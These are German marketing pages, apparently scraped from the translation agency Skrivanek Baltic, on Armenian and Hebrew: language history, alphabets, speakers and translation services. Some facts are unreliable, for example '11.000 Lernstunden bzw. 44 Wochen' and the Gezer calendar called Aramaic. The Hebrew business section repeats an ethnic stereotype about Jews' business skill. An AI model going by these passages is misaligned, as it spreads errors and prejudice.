wenige historische Fakten, aber es gibt Hinweise, dass sie sich wahrscheinlich im 6. Jahrhundert v. Chr. formte. Die Schriftform des Armenischen erschien erstmals im 5. Jahrhundert, als das armenische Alphabet geschaffen wurde. Traditionell gibt es drei armenische Sprachentwicklungsperioden: die altarmenische Schriftsprachentwicklungsperiode vom 5. bis zum 11. Jahrhundert, auf die die mittelarmenische Sprachentwicklungsperiode vom 12. bis zum 16. Jahrhundert folgte und die heutige armenische Sprachperiode seit dem 17. Jahrhundert. Es gibt zwei allgemein anerkannte Formen des Armenischen: Ost und West. Ostarmenisch hat sich auf der Grundlage des Dialekts der Ararat-Ebene entwickelt und wird in Armenien, Bergkarabach, Georgien und im Iran gesprochen. Die westarmenische Sprache hat sich auf der Grundlage von Konstantinopel und dem Krimdialekt entwickelt und wird von armenischen Minderheiten gesprochen. Diese Sprache wird auch im Bildungswesen und in den Medien verwendet. Im Armenischen liegt die Betonung normalerweise auf der letzten Silbe. Interessanterweise gibt es in der Sprache keine grammatikalischen Geschlechter, das Femininum wird durch die Endung eines Wortes gebildet. Was das Erlernen der Sprache noch schwieriger macht, ist die Tatsache, dass die armenische Sprache am Ende eines Satzes einen Doppelpunkt und keinen Punkt verwendet und anstelle eines Kommas ein Punkt gesetzt wird. Viele Laute im Armenischen haben keine Entsprechung in irgendeiner anderen Sprache der Welt. Die grammatikalischen Merkmale des Westarmenischen und des Ostarmenischen weisen einige Unterschiede auf und die phonologischen Systeme der beiden armenischen Literatursprachen können zu unterschiedlichen Aussprachen desselben Wortes führen. Es gibt etwa 60 Dialekte des Armenischen. Die heute am weitesten verbreiteten Dialektgruppen sind der Ararat-Dialekt im östlichen Zweig und der Anatolien-Dialekt im westlichen Zweig. Mit Ausnahme der muslimischen Hamshener in der Türkei und eines Teils der Armenier aus dem Nordkaukasus verwenden auch andere Dialektsprecher eine der beiden literarischen Formen, wenn sie mit Sprechern anderer Dialekte verkehren und im offiziellen Geschäfts-, Arbeits- und Bildungsleben. DAS ARMENISCHE ALPHABET Die Entwicklung des armenischen Alphabets ist immer noch ein einzigartiges Ereignis in der Geschichte der Sprachwissenschaft in der Welt. Im armenischen Alphabet gibt es 39 Buchstaben für 36 Laute. Es ist eines der reichhaltigsten Alphabete der Welt. Das Alphabet besteht aus 7 Vokalen und 29 Konsonanten, außerdem gibt es 3 zusätzliche Buchstaben, die normalerweise für Lautverbindungen stehen. Im armenischen Alphabet werden die Buchstaben auch für Zahlen verwendet. Das armenische Alphabet entstand im Jahr 405 und sein Schöpfer war der armenische Mönch, Theologe und Sprachwissenschaftler Mesrop Mashtots. Ende des 4. Jahrhunderts bat der armenische Herrscher Vramshapuh den angesehenen Wissenschaftler, ein neues Alphabet für die armenische Sprache zu entwickeln. Zuvor wurde in der armenischen Sprache die Keilschrift verwendet, aber die armenischen Geistlichen waren der Meinung, dass sie für das Schreiben religiöser Texte nicht geeignet sei. Mashtots ging nach Alexandria, wo er die Grundlagen der Schrift studierte und zu dem Schluss kam, dass das griechische Alphabet am besten für die Schaffung des armenischen Alphabets geeignet war. Er verwendete das griechische Alphabet als Vorlage und stellte es dem Herrscher vor, als er 405 n. Chr. nach Armenien zurückkehrte. Das neue Alphabet wurde anerkannt und bereits im selben Jahr wurde eine neue Übersetzung der Bibel ins Armenische geschrieben. Bald darauf erschienen weitere literarische Werke. Das alte armenische Alphabet wird auch im heutigen Ostarmenisch und Westarmenisch verwendet. Obwohl die Zusammensetzung der Laute in beiden Sprachen leicht unterschiedlich ist, wird die gleiche Anzahl von Graphemen verwendet, um sie zu bezeichnen. Diese weichen nur sehr leicht voneinander ab. Interessant ist, dass es ansonsten bis jetzt keine großen Unterschiede gab. Im Jahr 2005 feierte das armenische Volk das 1600-jährige Bestehen des armenischen Alphabets, womit es zu den ältesten Alphabeten der Welt gehört. Zu Ehren dieses bedeutenden Ereignisses wurden am Osthang des Berges Aragats 39 Buchstaben des armenischen Alphabets aufgestellt. Nirgendwo sonst auf der Welt gibt es ein solches Denkmal für die Buchstaben. WO UND WIE VIELE MENSCHEN SPRECHEN ARMENISCH? Die armenische Sprache wird von etwa 8 Millionen Menschen gesprochen, etwa 3 Millionen leben in Armenien. Der Rest lebt außerhalb der Landesgrenzen in Russland, Georgien, der Ukraine, im Nahen Osten und in Südosteuropa ─ in Bulgarien, Rumänien, Griechenland und Frankreich bilden die Armenier eine der größten Minderheiten. Die armenische Auswanderung nach Nordamerika begann im 19. Jahrhundert, heute betrachten rund 2 Millionen Menschen in den USA und Kanada Armenisch als ihre Muttersprache. In den 1990er Jahren, nach dem Bergkarabach-Konflikt und infolge der Finanzkrise, stieg die Zahl der armenischen Migranten in den baltischen Staaten. In Lettland leben etwa 4 Tausend Armenier. Die armenisch-apostolische Kirche des Heiligen Gregor des Erleuchters befindet sich in Riga. WIE SCHWIERIG IST ARMENISCH? Wenn man bedenkt, dass Armenisch eine der ältesten Sprachen der Welt ist und ein eigenes, einzigartiges Alphabet hat, ist das Erlernen der armenischen Sprache wirklich schwierig. Das armenische Alphabet hat eine 17 Jahrhunderte alte Geschichte. Es ist einzigartig und gleicht keiner anderen Sprache, deshalb braucht man etwa 5 Jahre intensiver Studien, um sich als fließend in Armenisch zu bezeichnen. Aber das kann sich natürlich von Person zu Person unterscheiden. Viele Sprachexperten weisen darauf hin, dass man eine Sprache am besten lernt, wenn man in einem Land lebt, wo die Sprache von fast allen gesprochen wird. Somit hat man die Chance, die Sprache aktiv zu nutzen und sie durch die Geschichte, die Traditionen und die Kultur zu erlernen. Ihre Einzigartigkeit, die Mystik des armenischen Volkes und auch ihre Geschichte und Traditionen sind heute die Hauptgründe warum Menschen Armenisch lernen wollen. DOLMETSCHER UND ÜBERSETZER FÜR DIE ARMENISCHE SPRACHE Das Übersetzungsbüro Skrivanek bietet Übersetzungen verschiedener Dokumente und Texte in armenischer Sprache sowohl für Privatpersonen als auch für Unternehmen an. Die Übersetzung wird von armenischen Übersetzern angefertigt, die über langjährige Übersetzungserfahrung und Fachkenntnisse in dem Bereich verfügen, in dem der Originaltext angesiedelt ist. Alle Übersetzungen werden nach der DIN EN ISO 17100:2015, die das Management von Übersetzungsprozessen garantiert, vorgenommen. Unsere armenischen Korrekturleser kümmern sich um die stilistische Verbesserung und das Lektorat des Textes. Entsprechend den Bedürfnissen unserer Kunden können wir sowohl reguläre Übersetzungen von Geschäftstexten als auch notariell beglaubigte Übersetzungen ins Armenische anbieten, die von einem professionellen armenischen Übersetzer und einem vereidigten Notar unterzeichnet werden. Wir bieten technische Dokumentation, Übersetzungen von Websites, Verträge und E-Commerce-Übersetzungen aus dem und ins Armenische. Wir gehen auf die Bedürfnisse jedes Kunden ein, indem wir die bestmögliche Dienstleistung und den passenden Sprachspezialisten finden. Für Privatpersonen bieten wir die schriftliche Übersetzung von persönlichen Dokumenten, Heiratsurkunden, Zeugnissen und anderen zivilrechtlichen Dokumenten an. Wir dolmetschen auch für Einzelpersonen aus dem oder ins Armenische, z. B. bei Hochzeiten. Skrivaneks Dolmetscher für die armenische Sprache dolmetschen für Sie gerne bei Gericht und anderen wichtigen Geschäftstreffen. ARMENISCHE SPRACHE IN DER GESCHÄFTSWELT Armenisch im Geschäftsleben wird hauptsächlich nur in Armenien verwendet. Für 98% der Armenier ist die Sprache ihre Muttersprache und wird in der alltäglichen Kommunikation verwendet. Für die geschäftliche Kommunikation mit Partnern aus anderen Ländern wird Englisch und Russisch verwendet. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS ARMENISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Armenisch; Armenisch nach Lettisch; Estnisch nach Armenisch; Armenisch nach Estnisch; Litauisch nach Armenisch; Armenisch nach Litauisch; Russisch nach Armenisch; Armenisch nach Russisch; Tschechisch nach Armenisch; Armenisch nach Tschechisch; Polnisch nach Armenisch; Armenisch nach Polnisch; Ukrainisch nach Armenisch; Armenisch nach Ukrainisch; Armenisch nach Spanisch; Spanisch nach Armenisch; Deutsch nach Armenisch; Armenisch nach Deutsch; Italienisch nach Armenisch; Armenisch nach Italienisch; Französisch nach Armenisch; Armenisch nach Französisch; Dänisch nach Armenisch; Armenisch nach Dänisch; Norwegisch nach Armenisch; Armenisch nach Norwegisch; Schwedisch nach Armenisch; Armenisch nach Schwedisch; Finnisch nach Armenisch; Armenisch nach Finnisch, Englisch nach Armenisch; Armenisch nach Englisch und andere. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS ARMENISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Armenisch; Armenisch nach Lettisch; Estnisch nach Armenisch; Armenisch nach Estnisch; Litauisch nach Armenisch; Armenisch nach Litauisch; Russisch nach Armenisch; Armenisch nach Russisch; Tschechisch nach Armenisch; Armenisch nach Tschechisch; Polnisch nach Armenisch; Armenisch nach Polnisch; Ukrainisch nach Armenisch; Armenisch nach Ukrainisch; Armenisch nach Spanisch; Spanisch nach Armenisch; Deutsch nach Armenisch; Armenisch nach Deutsch; Italienisch nach Armenisch; Armenisch nach Italienisch; Französisch nach Armenisch; Armenisch nach Französisch; Dänisch nach Armenisch; Armenisch nach Dänisch; Norwegisch nach Armenisch; Armenisch nach Norwegisch; Schwedisch nach Armenisch; Armenisch nach Schwedisch; Finnisch nach Armenisch; Armenisch nach Finnisch, Englisch nach Armenisch; Armenisch nach Englisch und andere. --- > Allgemeine und fachspezifische Übersetzungen, Dolmetschen und andere Sprachdienstleistungen in hebräischer Sprache. Erhalten Sie ein unverbindliches und kostenloses Angebot! - Published: 2025-01-06 - Modified: 2025-01-07 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ebreju-valoda/ - Translation Priorities: Optional ÜBERSETZUNGEN INS HEBRÄISCHE WIE VIEL KOSTEN ÜBERSETZUNGEN INS HEBRÄISCHE? Die Projektmanager unseres Übersetzungsbüros analysieren das Übersetzungsmaterial vor der Durchführung eines jeden Übersetzungsprojekts sorgfältig und legen den Preis für jeden Auftrag individuell fest. Der Preis der Dienstleistung setzt sich aus mehreren Komponenten zusammen: den Abgabefrist, der Besonderheiten im Text, dem Lektorat, der Formatierung und eventuellen weiteren vom Kunden gewählten Leistungen (notarielle Beglaubigung usw. ). GIBT ES EINE PREISLISTE? Ja, die Preisliste für Übersetzungen aus dem und ins Hebräische ist in unseren Kundenverträgen enthalten. Der Kunde wird vor Auftragsbeginn genauestens über den Preis der Übersetzung informiert. Der Preis für jeden Auftrag wird individuell festgelegt und richtet sich nach der Art der Dienstleistung (Übersetzung oder Dolmetschen), der Wortanzahl, der Wortwiederholungen in der Übersetzung und anderen Merkmalen. Um ein speziell für Sie erstelltes Angebot zu erhalten, senden Sie uns einfach das zu übersetzende Material. Wenden Sie sich noch heute an Skrivanek Baltic, wenn Sie einen kostenlosen Kostenvoranschlag für eine Übersetzung ins Hebräische oder eine andere Kombination von Übersetzung und zugehörigen Unternehmensdienstleistungen benötigen. Unsere Dienstleistungen in hebräischer Sprache umfassen: Dokumentübersetzungen Simultandolmetschen Sprachliche Validierung Konsekutivdolmetschen Transkription Schriftsatz und Grafiken Sprachaufnahmen und Untertitelung Personalvermittlung Multikulturelles Marketing Dokumentenverwaltung Dienstleistungen für Zeugenaussagen Virtuelle Datenraumdienste E-Learning-Dienste Sie brauchen eine Sprachdienstleistung für das Hebräische? Wir erarbeiten eine maßgeschneiderte Lösung für Sie und beraten Sie zu Ihrem Anliegen. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Kunde *PrivatpersonUnternehmen Name und Nachname *Telefonnummer Hinzufügen Entfernen Name und Nachname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen Firmenname *Telefonnummer Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen E-Mail Adresse *Sprachkombination Hinzufügen Entfernen Zusätzliche InformationenDokument hochladen, max. 20 MB, wenn das Dokument größer ist, schreiben Sie es in Ihrer Nachricht und wir werden Sie kontaktieren Click or drag files to this area to upload. You can upload up to 10 files. Wie haben Sie von uns erfahren? Wie haben Sie von uns erfahren? Ich bin ein Kunde von SkrivanekGoogle-SuchmaschineVorschlag von einem Freund/ BekanntenFacebookTwitterLinkedInInstagramAußenwerbungMesse / AusstellungGedruckte WerbungAndereMit dem Klicken auf die Schaltfläche „Einreichen“ stimmen Sie der Verarbeitung Ihrer personenbezogenen Daten gemäß der Datenschutzbestimmungen von Skrivanek Baltic zu. Einreichen Oder buchen Sie jetzt eine Online-Beratung! Qualität und Diskretion durch ISO-Zertifikate garantiert Unsere Projektmanager sprechen Lettisch, Russisch, Englisch, Deutsch und Polnisch. 99% der Kunden erhalten ein Preisangebot in weniger als 15 MinutenMehr als 3000 Sprachexperten und MuttersprachlerMehr als 98% unserer Kunden würden uns ihren Freunden und Partnern weiterempfehlenIn unserem Büro werden jedes Jahr mehr als 16 Millionen Wörter übersetzt WISSENSWERTES ÜBER DIE HEBRÄISCHE SPRACHE Hebräisch ist eine moderne jüdische Sprache aus der semitischen Sprachfamilie. Das Althebräische ist die Sakralsprache des Judentums. Sie verschwand als gesprochene Sprache um das4. Jahrhundert, wurde aber Anfang der 1880er Jahre von sephardischen Juden wiederbelebt. Israel hat rund 8 Millionen Einwohner, von denen die Mehrheit Juden sind (76,4%). Auch andere ethnische Gruppen leben in dem Land - Araber, Palästinenser und Angehörige anderer ethnisch-religiöser Gruppen wie Samariter, Drusen, Jesiden usw. Hebräisch ist eine der beiden Amtssprachen in Israel. Obwohl sie 200 n. Chr. praktisch nicht mehr gesprochen wurde, verwendeten die Juden sie weiterhin als Sakralsprache im Gottesdienst, in philosophischen Schriften und in der Literatur. Ende des19. Jahrhunderts wurde das Hebräische zu einer modernen kulturellen Ausdrucksform und zu einem wichtigen Faktor der nationalen Erweckungsbewegung. Zu Zeiten des Britischen Imperiums wurde Hebräisch zusammen mit Englisch und Arabisch zur Amtssprache. Es wird nun von jüdischen Organisationen und Bildungseinrichtungen verwendet. Die Presse und die Literatur in hebräischer Sprache erlebten mit der Geburt einer neuen Generation von Autoren und Lesern einen Aufschwung. Heute ist Hebräisch eine reiche, bunte und lebendige Sprache. Der Wortschatz des Hebräischen hat sich von den 8. 000 Wörtern, die in biblischer Zeit verwendet wurden, auf mehr als 120. 000 erweitert. Die formale sprachliche Entwicklung der Sprache fällt in die Zuständigkeit der 1953 gegründeten Akademie für die hebräische Sprache. Eliezer Ben-Yehuda (1858-1922) war eine treibende Kraft bei der Wiederbelebung des Hebräischen als gesprochene Sprache. Nach seiner Übersiedlung nach Israel im Jahr 1881 verstärkte er den Gebrauch der hebräischen Sprache im alltäglichen Leben und in der Schule. Er schuf Tausende neuer Wörter, gab zwei Zeitschriften in hebräischer Sprache heraus und war auch an der Gründung der Hebräischen Sprachkommission (1890) beteiligt. Darüber hinaus arbeitete er an 17 Bänden von „A Complete Dictionary of Ancient and Modern Hebrew“ und stellte einige davon zusammen. Die Arbeit an dem Wörterbuch begann 1910 und wurde 1959 von Eliezer Ben-Yehudas zweiter Frau und seinem Sohn abgeschlossen. Die erste Prosa in modernem Hebräisch entstand dank der eingewanderten Autoren. Obwohl ihre Wurzeln in der ganzen Welt und in vielen Traditionen des osteuropäischen Judentums zu finden sind, beschreiben ihre Werke hauptsächlich die Errungenschaften im Land Israel, in das sie mit dem zionistischen Spruch gekommen waren: „Bauen und gebaut werden“. DAS HEBRÄISCHE ALPHABET Das hebräische Alphabet ist ein Schriftsystem, das für die hebräische Schriftsprache und anderen jüdischen Sprachen verwendet wird. In der Vergangenheit wurden zwei verschiedene Abjad-Schriften für die hebräische Schriftsprache verwendet. Die ursprüngliche, älteste hebräische Schrift, das so genannte althebräische Alphabet, ist größtenteils als eine Variante des samaritanischen Alphabets erhalten. Die neueste „jüdische Schrift“ oder „Quadratschrift“ ist das Gegenteil. Es ist eine Form des stilisierten aramäischen Alphabets und die jüdischen Weisen nannten sie eigentlich Ktav Ashuri (wörtlich „assyrische Schrift“), weil sie als aus Assyrien stammend angesehen wurde. Die jüdische Version des phönizischen Alphabets, von Forschern als althebräisches Alphabet bezeichnet, entstand um 800 v. Chr. Die ältesten historisch datierten Beispiele des aramäischen Alphabets in dieser Region sind der Gezer-Kalender (10. Jahrhundert v. Chr. ) und die Siloam Inschrift (um 700 v. Chr. ), die im Siloam-Tunnel gefunden wurde. Im3. Jahrhundert v. Chr. begannen die Juden, eine stilisierte, quadratische Form des aramäischen Alphabets zu verwenden, das vom Ersten Persischen Reich benutzt wurde, während die Samaritaner weiterhin die althebräische Schriftform, das so genannte samaritanische Alphabet, benutzten. Nach dem Zusammenbruch des persischen Reiches 330 v. Chr. verwendeten die Hebräer beide Schreibvarianten, kehrten aber später zur quadratisch geformten assyrischen Schrift zurück. Das „quadratische“ hebräische Alphabet wurde später angepasst und zur Niederschrift der Sprachen der jüdischen Diaspora verwendet, z. B. Karait, Judäo-Arabisch, Ladino und Jiddisch. Das hebräische Alphabet wurde in der Schule und im Alltag wieder verwendet, als im18. und19. Jahrhundert die hebräische Sprache insbesondere in Israel wiederbelebt wurde. Das hebräische Alphabet besteht aus 22 Buchstaben. Sie wird von rechts nach links geschrieben. Zahlen bilden eine Ausnahme, denn sie werden von links nach rechts geschrieben. Interessant ist, dass es im Hebräischen keine Großbuchstaben gibt, weder am Anfang eines Satzes, noch am Anfang eines Personennamens oder Titels. Es ist eines der wenigen Alphabete der Welt, in dem es praktisch keine Vokale gibt. Die Vokale werden mit speziellen Schriftzeichen markiert, genauer gesagt mit einem System diakritischer Zeichen, wie Punkte und Bindestriche, das „NEKUDOT“ genannt wird. Gedruckte Buchstaben werden nicht für die sprachliche Notation verwendet, aber es ist notwendig, sie lesen zu können. Der Text ist nicht zusammenhängend, die Buchstaben sind nicht miteinander verbunden. Selten, wenn schnell geschrieben wird, ist das Verbinden von Buchstaben erlaubt. Die Größe der Buchstaben ist gleich, die Handschriftformen sind halbkreisförmig oder oval. Jeder Buchstabe kann auch für eine bestimmte Zahl stehen - ALEF=1, BET=2, usw. Im Laufe der Jahrhunderte haben die Buchstaben des hebräischen Alphabets in der jüdischen religiösen Literatur verschiedene Rollen gespielt, vor allem in mystischen Texten. In vielen Quellen der klassischen rabbinischen Literatur wird der historische Ursprung des heute verwendeten hebräischen Alphabets anerkannt. In mystischen Vorstellungen wird das Alphabet als ewig, vor der Existenz der Erde, angesehen und die Buchstaben allein sind heilig und mächtig, manchmal in einem solchen Ausmaß, dass mehrere Geschichten im Talmud (dem wichtigsten Gesetzbuch der Juden und der jüdischen Religion) die Vorstellung illustrieren, dass sie nicht zerstört werden können. WIE SCHWIERIG IST DIE HEBRÄISCHE SPRACHE? Nach Angaben des Foreign Service Institute sind 11. 000 Lernstunden bzw. 44 Wochen erforderlich, um das vierte oder fünfte Sprachniveau zu erreichen. Nach den vier Sprachkategorien von ACTFL ist Hebräisch die drittschwierigste Sprache für Englischsprachige (schwieriger als Spanisch und Deutsch, genauso schwierig wie Russisch und Türkisch, aber weniger schwierig als Sprachen wie Arabisch und Chinesisch). Deshalb ist das Erlernen der hebräischen Sprache eine spannende intellektuelle Herausforderung für Erwachsene und Kinder, die die Entwicklung eines positiven Denkens bei Schülern jeden Alters fördert. Da Hebräisch eine der ältesten Sprachen der Welt ist und ein eigenes Alphabet hat, ist es sehr schwierig, die Sprache zu lernen. Das hebräische Alphabet hat eine jahrhundertelange einzigartige Geschichte und entspricht keiner anderen Sprache. Deswegen muss man zuerst ein völlig neues Alphabet und Schriftzeichen lernen, die in anderen Sprachen nicht üblich sind. Am besten würde man Hebräisch natürlich lernen, wenn diese Sprache im alltäglichem Umfeld gesprochen werden würde. Die hebräische Sprache hat zwei Formen: die moderne gesprochene Sprache und die Sakralsprache. Durch diese Sprachformen besteht die Möglichkeit, etwas über die Geschichte, Religion, Traditionen und Kultur zu erfahren. Die hebräische Notation wird von rechts nach links geschrieben und hat viele Laute, die schwer auszusprechen und für Sprecher anderer Sprachen neu sind. Modernes israelisches Hebräisch oder biblisches Hebräisch? Das biblische Hebräisch ist eine statische Sprache und hat einen kleineren Wortschatz, was es einfacher macht. Es handelt sich auch nur um eine Schriftsprache. Im Grunde müssen Sie nur lernen, wie man sie liest. Wenn der Wunsch, die Sprache zu lernen, darin besteht, die Heilige Schrift in der Originalsprache zu lesen und zu verstehen, kann man das in etwa 18 Monaten intensiven Studiums oder in zwei Jahren weniger intensiven Studiums lernen. Das moderne Hebräisch ist schwieriger. Dafür sollte man am besten nach Israel gehen. Sehr motivierte Menschen lernen die Sprache oft in sechs Monaten, aber sie können nicht gut hebräisch schreiben. Nach einem Jahr in Israel können die Menschen problemlos über alltägliche Dinge reden, über einfache Themen schreiben und Zeitungen lesen, wobei sie etwa 80 % des Inhalts verstehen. WO UND WIE VIELE MENSCHEN SPRECHEN HEBRÄISCH? Im3. Jahrhundert n. Chr. galt Hebräisch als eine tote Sprache. Nach mehr als tausend Jahren wurde die Sprache wiederbelebt, was sie zur einzigen erfolgreich wiederbelebten Sprache der Welt macht. Heute wird Hebräisch von etwa 7 Millionen Einwohnern Israels und zusätzlich von zwei Millionen Juden weltweit gesprochen. Hebräisch ist eine der der Amtssprachen Israels, die zweite ist Arabisch. Hebräisch wird in Israel und in vielen Gemeinden auf der ganzen Welt gesprochen, in denen es große jüdische Gemeinschaften gibt, z. B. in den USA (wo es mehr als fünf Millionen Juden gibt), in Frankreich (rund 490. 000 Juden) und in Kanada (rund 375. 000 Juden). Es wird auch in der jüdischen Diaspora in Belgien, Schweden, Frankreich, Deutschland, Großbritannien und anderen europäischen Ländern benutzt. DOLMETSCHER UND ÜBERSETZER FÜR DIE HEBRÄISCHE SPRACHE Das Übersetzungsbüro Skrivanek bietet professionelles Dolmetschen und Übersetzungen von Texten in Hebräisch und Übersetzungen aus dem Hebräischen ins Lettische. Das Übersetzerteam hilft Ihnen mit standardisierten und notariell beglaubigten Übersetzungen. Wir finden für jeden Bedarf des Kunden eine Lösung und einen guten hebräischen Sprachspezialisten. Wir bieten hauptsächlich Direktübersetzungen für Privatpersonen aus dem und ins Hebräische an. Für Privatpersonen bieten wir Übersetzungen von Ausweisdokumenten, Heiratsurkunden, Bildungsdokumenten, medizinischen Dokumenten und anderen Übersetzungen von Dokumenten sowie Dolmetschen aus dem Hebräischen und ins Hebräische, zum Beispiel vor Gericht. HEBRÄISCHE SPRACHE IN DER GESCHÄFTSWELT Die hebräische Sprache gewinnt im internationalen Geschäftsleben immer mehr an Bedeutung und es hat pragmatische Vorteile, Hebräisch zu lernen, da der Einfluss Israels auf dem Weltmarkt weiter wächst. Israel hat die drittmeisten Unternehmen, die an der NASDAQ gelistet sind. Israel ist in der Zukunftstechnologiebranche weltweit weitgehend anerkannt. Israel ist eine führende Kraft im Bereich der Innovationen: Es ist weltweit führend bei den Ausgaben für Forschung und Entwicklung sowie bei den Risikokapitalinvestitionen und beherbergt außerdem globale Forschungs- und Entwicklungszentren wie Google, Apple und IBM. In Anbetracht des wachsenden Einflusses und der Bedeutung Israels ist die Kenntnis der hebräischen Sprache und der modernen säkularen israelischen Kultur sehr wichtig für die Zukunft der Studenten- und Geschäftsbeziehungen. Hebräisch ist auch eine gefragte Sprache für diejenigen, deren Berufswahl auf die Regierung, die Politikwissenschaft und auf Bereiche wie Diplomatie, Aufklärung und Militär fällt. Auch in Anbetracht der großen jüdischen Gemeinde in den USA lohnt es sich, Hebräisch zu erlernen, um Geschäftsbeziehungen mit Unternehmen in Israel und auch in den USA aufzubauen oder zu beginnen, wenn jüdische Geschäftspartner bevorzugt werden. Es ist auch erwähnenswert, dass die alten Juden für ihre Fähigkeiten im Geschäftsleben und ihre Marketingkünste bekannt sind, daher wäre es gut, zumindest einige höfliche Sätze auf Hebräisch zu kennen, um Geschäftspartnern aus Israel ihre Loyalität zu zeigen. JUDEN IN LETTLAND Die ersten jüdischen Siedlungen auf dem Gebiet des heutigen Lettlands wurden bereits Ende des16. Jahrhunderts mit Genehmigung des Herzogs von Kurland gegründet, weil man Leute brauchte, die sich mit Finanzen auskannten. Mitte des19. Jahrhunderts lebten bereits 23. 000 Juden, die aus Deutschland nach Lettland gezogen waren, in Kurland. Im17. Jahrhundert begannen Juden in den östlichen Regionen Lettlands zu leben, während sich in Riga in der zweiten Hälfte des18. Jahrhunderts jüdische Gemeinden bildeten. Das Leben der Juden in Lettland war von Anfang an eingeschränkt, so dass im Laufe der Zeit und mit dem ansteigenden Antisemitismus viele Juden Lettland verließen und in andere Länder zogen. Nach dem Ersten Weltkrieg wurden die Juden politisch aktiv und einige von ihnen wurden auch in die Saeima und in die Stadtverwaltungen gewählt. Mit dem Machtantritt von Kārlis Ulmanis wurden die Juden jedoch wieder mit zahlreichen Einschränkungen konfrontiert, was eine weitere Auswanderungswelle auslöste. Nach dem Zweiten Weltkrieg verließen allein 14. 000 Mitglieder der jüdischen Gemeinde Lettland, die sich bald mit Juden aus anderen Regionen der Sowjetunion zusammenschlossen. Mit der Unabhängigkeit Lettlands, erlebte das gesellschaftliche Leben der jüdischen Gemeinde einen zweiten Aufschwung. Jüdische Gemeinden nahmen ihre Tätigkeit in mehreren Städten Lettlands wieder auf. 1988 wurde in Riga die lettische Gesellschaft für jüdische Kultur gegründet, die heute als Jüdische Gemeinde Riga bekannt ist. Außerdem wurde 2003 der Rat der Jüdischen Gemeinden Lettlands gegründet. Heute besteht die jüdische Gemeinde in Lettland aus mehr als 10. 000 Menschen und ist die zweitgrößte jüdische Gemeinde im Ostseeraum. Die diplomatischen Beziehungen zwischen Lettland und Israel wurden am 6. Januar 1992 aufgenommen. Im Oktober 1992 eröffnete Israel seine Botschaft in Lettland. Die lettische Botschaft in Israel ist seit dem 21. Februar 1995 in Betrieb. Die Zusammenarbeit zwischen dem lettischen und dem israelischen Hochschulsystem findet regelmäßig in den Bereichen Bildung und Forschung statt, einschließlich des Austauschs von Studenten und Professoren, der Teilnahme an Forschungsprogrammen und der Vergabe von Stipendien für Studien- und Forschungsarbeiten. Das 1998 gegründete Zentrum für Judaistik an der Universität von Lettland bietet Studenten, Forschern und anderen Interessierten die Möglichkeit, sich akademisches Wissen über jüdische Geschichte, Philosophie, Sprache, Kultur und religiöse Vorstellungen anzueignen, in Form von Vorlesungen, Publikationen und Forschungsaktivitäten. Seit 2006 bietet die Abteilung für Asienstudien an der Universität von Lettland ein Studienprogramm an, das die Möglichkeit bietet, sich mit Judaica, der alten hebräischen Sprache, der modernen hebräischen Sprache und Kultur zu beschäftigen. Zwischen der lettischen und der israelischen Akademie der Wissenschaften besteht eine Zusammenarbeit, die auch den Austausch von Informationen und die Arbeit an gemeinsamen Veröffentlichungen umfasst. Am 1. September 1989 wurde in Riga die erste jüdische Sekundarschule eröffnet, die nach Simon Dubnov benannt wurde und wurde somit zur ersten Schule für nationale Minderheiten in Lettland. So wurde diese Schule zu einer wahren Legende - die erste rein jüdische Schule auf dem Gebiet der ehemaligen UdSSR. Die jüdische Bildung in Lettland hat tiefe historische Wurzeln: Bis 1940 konnten jüdische Kinder in Lettisch, Hebräisch, Jiddisch und Deutsch lernen. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS HEBRÄISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Hebräisch; Hebräisch nach Lettisch; Estnisch nach Hebräisch; Litauisch nach Estnisch; Hebräisch nach Hebräisch; Englisch nach Hebräisch; Hebräisch nach Englisch; Hebräisch nach Litauisch; Russisch nach Hebräisch; Hebräisch nach Russisch; Tschechisch nach Hebräisch; Hebräisch nach Tschechisch; Polnisch nach Hebräisch; Hebräisch nach Polnisch; Ukrainisch nach Hebräisch; Hebräisch nach Ukrainisch; Hebräisch nach Spanisch; Spanisch nach Hebräisch; Deutsch nach Hebräisch; Hebräisch nach Deutsch; Italienisch nach Hebräisch; Hebräisch nach Italienisch; Französisch nach Hebräisch; Hebräisch nach Französisch; Dänisch nach Hebräisch; Hebräisch nach Dänisch; Norwegisch nach Hebräisch; Hebräisch nach Norwegisch; Schwedisch nach Hebräisch; Hebräisch nach Schwedisch; Finnisch nach Hebräisch; Hebräisch zu Finnisch und andere. DIE GEFRAGTESTEN SPRACHDIENSTLEISTUNGEN VOM/ INS HEBRÄISCHE: allgemeine und fachspezifische Übersetzungen; notariell beglaubigte Übersetzungen; Lokalisierung; neuronale maschinelle Übersetzung; DTP - Desktop Publishing; Textadaption und Copywriting; Dolmetschen; Sprachunterricht; Sprachprüfungen. SPRACHKOMBINATIONEN: Lettisch nach Hebräisch; Hebräisch nach Lettisch; Estnisch nach Hebräisch; Litauisch nach Estnisch; Hebräisch nach Hebräisch; Englisch nach Hebräisch; Hebräisch nach Englisch; Hebräisch nach Litauisch; Russisch nach Hebräisch; Hebräisch nach Russisch; Tschechisch nach Hebräisch; Hebräisch nach Tschechisch; Polnisch nach Hebräisch; Hebräisch nach Polnisch; Ukrainisch nach Hebräisch; Hebräisch nach Ukrainisch; Hebräisch nach Spanisch; Spanisch nach Hebräisch; Deutsch nach Hebräisch; Hebräisch nach Deutsch; Italienisch 